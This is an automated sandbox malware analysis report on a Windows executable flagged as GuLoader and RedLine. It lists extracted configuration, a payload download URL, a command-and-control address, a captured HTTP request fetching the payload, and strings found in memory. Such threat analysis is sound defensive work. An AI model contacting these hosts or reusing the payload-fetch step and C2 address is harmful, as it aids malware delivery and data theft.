Windows Analysis Report o4XzTr73Ut.exe

AV Detection:

Found malware configuration

Source: 0000000C.00000000.841548004.0000000000560000.00000040.00000001.sdmp	Malware Configuration Extractor: GuLoader {"Payload URL": "http://185.112.83.8/SoftwareCleanedPhilosf.bin"}
Source: 0000000C.00000002.1061316952.000000001F5F7000.00000004.00000001.sdmp	Malware Configuration Extractor: RedLine {"C2 url": "194.26.229.202:18758", "Bot Id": "private_4"}

Multi AV Scanner detection for submitted file

Source: o4XzTr73Ut.exe	Virustotal: Detection: 7%			Perma Link
Source: o4XzTr73Ut.exe	ReversingLabs: Detection: 23%

Compliance:

Uses 32bit PE files

Source: o4XzTr73Ut.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: o4XzTr73Ut.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Binary contains paths to debug symbols

Source:

Binary string: _.pdb source: o4XzTr73Ut.exe, 0000000C.00000003.1004258087.000000000089A000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060215267.000000001E3E0000.00000004.00020000.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060066764.000000001E130000.00000004.00000001.sdmp

Spreading:

Contains functionality to enumerate / list files inside a directory

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,		0_2_00405C49
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_00406873 FindFirstFileW,FindClose,		0_2_00406873
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_0040290B FindFirstFileW,		0_2_0040290B

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic

Snort IDS: 2018752 ET TROJAN Generic .bin download from Dotted Quad 192.168.2.4:49806 -> 185.112.83.8:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.112.83.8/SoftwareCleanedPhilosf.bin

Internet Provider seen in connection with other malware

Source: Joe Sandbox View	ASN Name: SUPERSERVERSDATACENTERRU SUPERSERVERSDATACENTERRU
Source: Joe Sandbox View	ASN Name: HEANETIE HEANETIE

IP address seen in connection with other malware

Source: Joe Sandbox View

IP Address: 185.112.83.8 185.112.83.8

Uses a known web browser user agent for HTTP communication

Source: global traffic

HTTP traffic detected: GET /SoftwareCleanedPhilosf.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: 185.112.83.8Cache-Control: no-cache

Detected TCP or UDP traffic on non-standard ports

Source: global traffic

TCP traffic: 192.168.2.4:49809 -> 194.26.229.202:18758

Connects to IPs without corresponding DNS lookups

Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8
Source: unknown	TCP traffic detected without corresponding DNS query: 185.112.83.8

Found strings which match to known social media urls

Source: o4XzTr73Ut.exe, 0000000C.00000002.1060968348.000000001E95B000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060486327.000000001E71D000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060643656.000000001E7E1000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1061125215.000000001EA1C000.00000004.00000001.sdmp

String found in binary or memory: k9https://www.facebook.com/chat/video/videocalldownload.php equals www.facebook.com (Facebook)

Source: o4XzTr73Ut.exe, 0000000C.00000002.1061125215.000000001EA1C000.00000004.00000001.sdmp

String found in binary or memory: romium PDF Plugin","versions":[{"comment":"Chromium PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"divx-player":{"group_name_matcher":"*DivX Web Player*","help_url":"https://support.google.com/chrome/?p=plugin_divx","lang":"en-US","mime_types":["video/divx","video/x-matroska"],"name":"DivX Web Player","url":"http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe","versions":[{"status":"requires_authorization","version":"1.4.3.4"}]},"facebook-video-calling":{"group_name_matcher":"*Facebook Video*","lang":"en-US","mime_types":["application/skypesdk-plugin"],"name":"Facebook Video Calling","url":"https://www.facebook.com/chat/video/videocalldownload.php","versions":[{"comment":"We do not track version information for the Facebook Video Calling Plugin.","status":"requires_authorization","version":"0"}]},"google-chrome-pdf":{"group_name_matcher":"*Chrome PDF Viewer*","mime_types":[],"name":"Chrome PDF Viewer","versions":[{"comment":"Google Chrome PDF Viewer has no version information.","status":"fully_trusted","version":"0"}]},"google-chrome-pdf-plugin":{"group_name_matcher":"*Chrome PDF Plugin*","mime_types":[],"name":"Chrome PDF Plugin","versions":[{"comment":"Google Chrome PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"google-earth":{"group_name_matcher":"*Google Earth*","lang":"en-US","mime_types":["application/geplugin"],"name":"Google Earth","url":"http://www.google.com/earth/explore/products/plugin.html","versions":[{"comment":"We do not track version information for the Google Earth Plugin.","status":"requires_authorization","version":"0"}]},"google-talk":{"group_name_matcher":"*Google Talk*","mime_types":[],"name":"Google Talk","versions":[{"comment":"'Google Talk Plugin' and 'Google Talk Plugin Video Accelerator' use two completely different versioning schemes, so we can't define a minimum version.","status":"requires_authorization","version":"0"}]},"google-update":{"group_name_matcher":"Google Update","mime-types":[],"name":"Google Update","versions":[{"comment":"Google Update plugin is versioned but kept automatically up to date","status":"requires_authorization","version":"0"}]},"ibm-java-runtime-environment":{"group_name_matcher":"*IBM*Java*","mime_types":["application/x-java-applet","application/x-java-applet;jpi-version=1.7.0_05","application/x-java-applet;version=1.1","application/x-java-applet;version=1.1.1","application/x-java-applet;version=1.1.2","application/x-java-applet;version=1.1.3","application/x-java-applet;version=1.2","application/x-java-applet;version=1.2.1","application/x-java-applet;version=1.2.2","application/x-java-applet;version=1.3","application/x-java-applet;version=1.3.1","application/x-java-applet;version=1.4","application/x-java-applet;version=1.4.1","application/x-java-applet;version=1.4.2","application/x-java-applet;version=1.5","application/x-java-applet;version=1.6","application/x-java-applet;version=1.7","application/x-j

URLs found in memory or binary data

Source: o4XzTr73Ut.exe, 0000000C.00000002.1056932112.00000000022B0000.00000004.00000001.sdmp	String found in binary or memory: http://185.112.83.8/SoftwareCleanedPhilosf.bin
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060968348.000000001E95B000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060486327.000000001E71D000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060643656.000000001E7E1000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1061125215.000000001EA1C000.00000004.00000001.sdmp	String found in binary or memory: http://appldnld.apple.com/QuickTime/041-3089.20111026.Sxpr4/QuickTimeInstaller.exe
Source: o4XzTr73Ut.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: o4XzTr73Ut.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: o4XzTr73Ut.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: o4XzTr73Ut.exe	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: o4XzTr73Ut.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: o4XzTr73Ut.exe	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: o4XzTr73Ut.exe, 0000000C.00000002.1061125215.000000001EA1C000.00000004.00000001.sdmp	String found in binary or memory: http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060968348.000000001E95B000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060486327.000000001E71D000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060643656.000000001E7E1000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1061125215.000000001EA1C000.00000004.00000001.sdmp	String found in binary or memory: http://forms.rea
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060968348.000000001E95B000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060486327.000000001E71D000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060643656.000000001E7E1000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1061125215.000000001EA1C000.00000004.00000001.sdmp	String found in binary or memory: http://forms.real.com/real/realone/download.html?type=rpsp_us
Source: o4XzTr73Ut.exe, 0000000C.00000002.1061125215.000000001EA1C000.00000004.00000001.sdmp	String found in binary or memory: http://fpdownload.macromedia.com/get/shockwave/default/english/win95nt/latest/Shockwave_Installer_Sl
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060968348.000000001E95B000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060486327.000000001E71D000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060643656.000000001E7E1000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1061125215.000000001EA1C000.00000004.00000001.sdmp	String found in binary or memory: http://go.micros
Source: o4XzTr73Ut.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: o4XzTr73Ut.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: o4XzTr73Ut.exe	String found in binary or memory: http://ocsp.digicert.com0O
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060319888.000000001E5D1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060319888.000000001E5D1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060319888.000000001E5D1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060319888.000000001E5D1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultl
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060319888.000000001E5D1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060319888.000000001E5D1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060319888.000000001E5D1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060319888.000000001E5D1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060319888.000000001E5D1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060319888.000000001E5D1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060319888.000000001E5D1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060319888.000000001E5D1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm4
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
